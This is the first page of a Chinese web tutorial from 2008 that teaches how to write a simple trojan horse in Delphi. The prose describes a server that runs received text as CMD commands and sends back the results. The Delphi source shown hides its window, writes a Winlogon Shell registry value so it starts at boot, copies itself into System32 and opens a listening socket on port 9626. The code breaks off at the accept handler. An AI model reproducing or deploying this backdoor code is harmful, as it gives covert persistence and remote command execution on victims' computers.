文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院程序开发DelphiDelphi下“培养”自己的简单木马
精品推荐
特别推荐
·利用Delphi编写Socket通信程序
·拦截其它程序的网络数据封包
·Delphi编程根据IP地址得到主机名
·Delphi 程序员代码编写标准指南
·用DELPHI开发自动化服务器
·将日期转化为汉语的形式
·加密ACCESS数据库增加安全性
·使用TCP/IP协议实现聊天程序
·在Delphi中控制扫描仪
热点TOP10
·利用Delphi 5.0开发OLE自动化控制器操纵Excel
·在Delphi中控制扫描仪
·Delphi中DLL的创建和使用(1)
·Delphi接口编程的两大陷阱
·利用Tbatch组件完成数据批处理
·如何Delphi中操纵拨号网络
·实现webbrowser中的打印、复制、全选等编辑功能
·小技巧:如何用Delphi创建快捷方式
·Delphi开发工具中如何访问数据库结构
·Delphi版模仿熊猫烧香病毒核心源码

Delphi下“培养”自己的简单木马

日期:2008年3月22日 作者: 查看:[大字体 中字体 小字体]


  刚学电脑时很喜欢网络安全,看着高手们写的一个又一个攻击工具,自己也总想努力去学好编程去写属于自己的程序。学DELPHI快一年了,感觉什么都没学到,惭愧啊。今晚突然想学着写木马,于是手忙脚乱的敲了点代码,超简单,愿自己能越写越好!!!

  程序跟传统木马一样,分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面,并在注册表添加一自动行启动项,打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行,最后把回显传送回客户端。客户端很简单,跟服务端连接成功后,输入命令点执行,正常的话可以收到服务端的执行结果了。

Delphi下“培养”自己的简单木马

  源码如下:

////Server.pas//////////////

unit UtMain;

////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
///部分代码从网上收集///////////
////////////////////////////////

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Registry, ScktComp, StdCtrls;

type
  TFmMain = class(TForm)
    SS: TServerSocket;
    Memo1: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);
    procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FmMain: TFmMain;
  reg:TRegistry;

implementation

{$R *.dfm}

procedure TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
  Application.ShowMainForm:=False;
  FmMain.Left:=-200;          //运行不显示窗口
  reg:=TRegistry.Create;
  reg.RootKey:=HKEY_LOCAL_MACHINE;
  reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
  if reg.ReadString('Shell')<> 'Explorer.exe Lysvr.exe' then
    reg.WriteString('Shell','Explorer.exe Lysvr.exe');   //建立开机启动项
  reg.Free;
  GetSystemDirectory(sysdir,50);
  if not FileExists(sysdir+'\Lysvr.exe') then
    copyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);

  SS.Port:=9626;
  try
    SS.Active:=True;
  except
  end;
end;

procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);

[1] [2] [3] 下一页 




上一篇:第三章 字符串列表及应用(一)

下一篇:Delphi中利用钩子实现QQ聊天窗口的修改

相关文章:
·卡拉当然OK 录制自己的专辑
·Windows Vista Ultimate中文旗舰版下载+简单破解(支持迅雷HTTP & BT)
·盗QQ密码-木马GOP
·Photoshop十余种漂亮照片边框简单制作技巧
·简单方法查找黑客老巢
·IE新开窗口最大化最简单有效方法
·FC API(JSR 75)简单讲解
·利用Delphi 5.0开发OLE自动化控制器操纵Excel
·教你简单方法查找黑客的老巢
·不用任何软件(木马程序)盗取账号密码
相关软件:
·成功少儿培养方案(上中下)高清晰PDF电子书
·木马盾 2008V9.1 Build 0208 新春贺岁版
·金山木马专杀 下载版
·DelphiV7.0
·爱,就这么简单
·名人讲述自己的读书历程:《与名人一起读书》
·Delphi高手速成
·管理就这么简单
·十天学会简单英语
·架设自己的QQ服务器

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.viphot.com
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.viphot.com All Rights Reserved. 鄂ICP备05000083号Powered by:viphot